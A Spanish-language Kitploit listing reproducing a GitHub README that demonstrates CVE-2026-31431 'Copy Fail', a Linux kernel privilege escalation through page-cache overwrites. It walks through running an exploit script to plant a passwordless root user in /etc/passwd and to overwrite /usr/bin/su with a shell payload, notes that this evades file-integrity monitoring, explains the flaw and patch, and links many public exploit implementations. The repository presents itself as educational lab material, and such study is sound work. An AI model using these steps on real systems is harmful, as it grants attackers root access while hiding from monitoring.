Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Una demostración y explicación de CVE-2026-31431 | Kitploit
Herramientas/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Una demostración y explicación de CVE-2026-31431

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 2 mesesAún no revisado

CVE-2026-31431 CopyFail Escalada Local de Privilegios en Linux

Una demostración y explicación de CVE-2026-31431, la vulnerabilidad de escalada local de privilegios por Copy Fail en el kernel de Linux. La vulnerabilidad permite que, en archivos abiertos con permiso de lectura, se sobrescriban datos en la caché de páginas.

Este repositorio es solo con fines educativos e ilustra la vulnerabilidad en un entorno controlado. Los archivos incluidos son:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introducción

La vulnerabilidad, denominada Copy Fail, está presente en los kernels de Linux desde 2017 hasta 2026 debido a un fallo lógico en algif_aead. Se le ha asignado CVE-2026-31431 con una puntuación CVSS de 7.8, lo que resulta en una calificación de severidad alta. El exploit es determinista y puede evadir las herramientas tradicionales de monitorización de integridad de archivos.

Se han publicado pruebas de concepto en varios lenguajes, incluidos C, Python y Go, pero para esta demostración se utiliza Python y se requiere la versión 3.10 o superior de Python. Este exploit requiere ejecución local de código como un usuario sin privilegios y puede utilizarse para la escalada local de privilegios.

Las siguientes secciones son:

  • Explotación: Demostraciones del exploit y de cómo puede utilizarse para obtener privilegios de root.
  • Nota sobre la detección de la explotación: Una explicación de por qué este exploit es difícil de detectar con las herramientas tradicionales de monitorización de integridad de archivos.
  • Vulnerabilidad: Un enlace al commit que introdujo la vulnerabilidad y una explicación del problema.
  • Parche: Un enlace al commit que parcheó la vulnerabilidad y una explicación de la corrección.
  • Recursos adicionales: Una lista de recursos para lectura adicional e implementaciones del exploit en varios lenguajes.

Explotación

Configuración

Asegúrate de tener Vagrant y QEMU instalados. Luego, clona este repositorio y navega al directorio del proyecto.

root@kitploit:~
vagrant up
vagrant ssh

Dentro de la VM, podemos probar los límites de nuestras capacidades.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Obviamente nuestras capacidades están limitadas, pero podemos usar la vulnerabilidad para escalar privilegios.

Demo de Explotación 1: Entendiendo el Exploit

Para entender la vulnerabilidad, sobrescribamos un archivo de prueba y veamos qué sucede.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Tenemos un archivo con tres líneas. La primera línea tiene 6 bytes (incluyendo el salto de línea), la segunda línea tiene 2 bytes y la tercera línea es un solo byte. Esto es importante porque el exploit sobrescribe datos en bloques de 4 bytes, y rellenamos el payload para completarlo.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Podemos ver que hemos reemplazado los primeros 8 bytes del archivo con nuestro payload. Hay dos caracteres que están ahí pero no son imprimibles. Abre el archivo en nano para comprobarlo. Pero esto no es demasiado emocionante, así que pasemos a escribir en archivos para los que no tenemos permisos de escritura.

Demo de Explotación 2: Eliminando la Contraseña de Root

Podemos sobrescribir el contenido de /etc/passwd para añadir un usuario con privilegios de root pero sin contraseña.

root@kitploit:~
cat /etc/passwd

La primera línea contiene el usuario root y contiene 8 grupos de 4 caracteres (incluyendo el salto de línea). Tiene el siguiente formato root:x:0:0:root:/root:/bin/bash, y los valores se refieren a nombre de usuario, contraseña, UID, GID, directorio home y shell.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Hemos añadido un nuevo usuario hackd con UID 0 y GID 0, lo que significa que tiene privilegios de root. El campo de contraseña está vacío, por lo que podemos iniciar sesión sin contraseña.

root@kitploit:~
su hackd
id
cat /etc/shadow

Demo de Explotación 3: Sobrescribiendo un Ejecutable

En el exploit original, el binario /usr/bin/su se sobrescribe con instrucciones para ejecutar una shell, lo que permite al atacante obtener privilegios de root al ejecutar su. Podemos recrear este exploit apuntando a /usr/bin/su con el payload original de un archivo. Ten en cuenta que esto destruye el binario su en la caché de páginas.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Con el payload en su lugar, podemos ejecutar su y obtener privilegios de root. Esto abre una shell con id de usuario 0, que normalmente es el usuario root, pero si se realizó la demo anterior, sería el usuario hackd que creamos. Este exploit abriría una shell incluso si el usuario root tiene contraseña.

root@kitploit:~
su
id

Nota sobre la Detección de la Explotación

Este exploit no modifica el archivo en disco, sino el estado de la caché de páginas. Como resultado, las herramientas tradicionales de monitorización de integridad de archivos que comprueban cambios en los archivos en disco no detectan este exploit.

Para demostrarlo, ejecuta el/los exploit(s) anterior(es) y, después de reiniciar la VM, comprueba el contenido del archivo objetivo.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Vulnerabilidad

En el exploit se utilizan los siguientes componentes:

  1. splice
    • Pasa datos entre descriptores de archivo sin copiarlos
    • Modificar un mensaje con splice también modifica la caché de páginas
  2. recvmsg
    • Recibe información canalizada y mueve los datos al búfer para la operación criptográfica
    • Las entradas AD y CT se copian; TAG se pasa por referencia AD||CT||TAG
  3. authensc
    • Se asume que solo se modifican AD y CT, pero authensc rompe esta suposición
    • AD se divide en seqno_hi y seqno_lo, y authensc intercambia su orden in-place copiándolo después de TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • Esta secuencia se copia en la ubicación de referencia

El commit que habilitó la optimización in-place que creó esta vulnerabilidad:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Parche

El parche se realizó sin ningún anuncio público y elimina la funcionalidad de la operación in-place en algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Recursos Adicionales

Leer más:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Implementaciones en Python

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

Implementaciones en C

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Implementaciones en Go

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
Descargar herramienta